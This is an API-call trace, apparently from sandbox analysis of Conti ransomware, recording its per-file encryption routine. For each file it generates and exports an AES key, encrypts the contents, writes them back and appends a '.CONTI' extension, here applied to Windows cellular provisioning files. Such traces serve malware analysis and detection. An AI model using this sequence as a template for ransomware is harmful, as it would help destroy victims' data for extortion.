	[0110.577] GetProcessHeap () returned 0x1720000
	[0110.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560948 | out: hHeap=0x1720000) returned 1
	[0110.577] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.577] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6564cb8 | out: phKey=0x6564cb8*=0x17c8370) returned 1
	[0110.578] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6564cbc, pdwDataLen=0x54bfc14 | out: pbData=0x6564cbc*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.578] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.578] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.579] GetLastError () returned 0x0
	[0110.579] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=838) returned 1
	[0110.579] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x346
	[0110.579] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.579] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.579] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.579] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.579] WriteFile (in: hFile=0x3dc, lpBuffer=0x6564cbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6564cbc*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.585] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.585] ReadFile (in: hFile=0x3dc, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x346, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x346, lpOverlapped=0x0) returned 1
	[0110.585] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x346, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x350) returned 1
	[0110.585] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.585] WriteFile (in: hFile=0x3dc, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x350, lpOverlapped=0x0) returned 1
	[0110.585] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.585] WriteFile (in: hFile=0x3dc, lpBuffer=0x6564cb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6564cb0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.586] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.586] CloseHandle (hObject=0x3dc) returned 1
	[0110.586] GetProcessHeap () returned 0x1720000
	[0110.586] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.586] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml"
	[0110.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.586] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.586] GetProcessHeap () returned 0x1720000
	[0110.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.586] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0110.586] GetProcessHeap () returned 0x1720000
	[0110.587] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71180 | out: hHeap=0x1720000) returned 1
	[0110.587] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.587] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6563f08 | out: phKey=0x6563f08*=0x17c8330) returned 1
	[0110.587] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6563f0c, pdwDataLen=0x54bfc14 | out: pbData=0x6563f0c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.587] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.587] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.588] GetLastError () returned 0x0
	[0110.588] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=656) returned 1
	[0110.588] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x290
	[0110.588] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.588] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.588] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.588] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.588] WriteFile (in: hFile=0x3dc, lpBuffer=0x6563f0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6563f0c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.594] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.594] ReadFile (in: hFile=0x3dc, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x290, lpOverlapped=0x0) returned 1
	[0110.595] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x290, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2a0) returned 1
	[0110.595] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.595] WriteFile (in: hFile=0x3dc, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2a0, lpOverlapped=0x0) returned 1
	[0110.595] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.595] WriteFile (in: hFile=0x3dc, lpBuffer=0x6563f00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6563f00*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.595] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.595] CloseHandle (hObject=0x3dc) returned 1
	[0110.595] GetProcessHeap () returned 0x1720000
	[0110.595] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.595] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml"
	[0110.595] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.595] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.596] GetProcessHeap () returned 0x1720000
	[0110.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.596] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.596] GetProcessHeap () returned 0x1720000
	[0110.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560540 | out: hHeap=0x1720000) returned 1
	[0110.596] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.596] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6562838 | out: phKey=0x6562838*=0x17c8330) returned 1
	[0110.596] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x656283c, pdwDataLen=0x54bfc14 | out: pbData=0x656283c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.597] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.597] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.597] GetLastError () returned 0x0
	[0110.597] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=867) returned 1
	[0110.597] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x363
	[0110.597] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.597] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.598] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.598] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.598] WriteFile (in: hFile=0x3dc, lpBuffer=0x656283c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x656283c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.604] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.604] ReadFile (in: hFile=0x3dc, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x363, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x363, lpOverlapped=0x0) returned 1
	[0110.604] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x363, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x370) returned 1
	[0110.604] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.604] WriteFile (in: hFile=0x3dc, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x370, lpOverlapped=0x0) returned 1
	[0110.604] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.604] WriteFile (in: hFile=0x3dc, lpBuffer=0x6562830*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6562830*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.604] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.605] CloseHandle (hObject=0x3dc) returned 1
	[0110.605] GetProcessHeap () returned 0x1720000
	[0110.605] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.605] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml"
	[0110.605] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.605] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.605] GetProcessHeap () returned 0x1720000
	[0110.606] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.606] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.606] GetProcessHeap () returned 0x1720000
	[0110.606] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560aa0 | out: hHeap=0x1720000) returned 1
	[0110.606] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.606] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6565ef8 | out: phKey=0x6565ef8*=0x17c8330) returned 1
	[0110.606] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6565efc, pdwDataLen=0x54bfc14 | out: pbData=0x6565efc*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.606] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.609] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.609] GetLastError () returned 0x0
	[0110.609] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=700) returned 1
	[0110.609] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bc
	[0110.609] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.609] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.609] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.609] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.609] WriteFile (in: hFile=0x3dc, lpBuffer=0x6565efc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6565efc*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.614] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.614] ReadFile (in: hFile=0x3dc, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2bc, lpOverlapped=0x0) returned 1
	[0110.614] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2bc, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2c0) returned 1
	[0110.614] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.614] WriteFile (in: hFile=0x3dc, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2c0, lpOverlapped=0x0) returned 1
	[0110.614] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
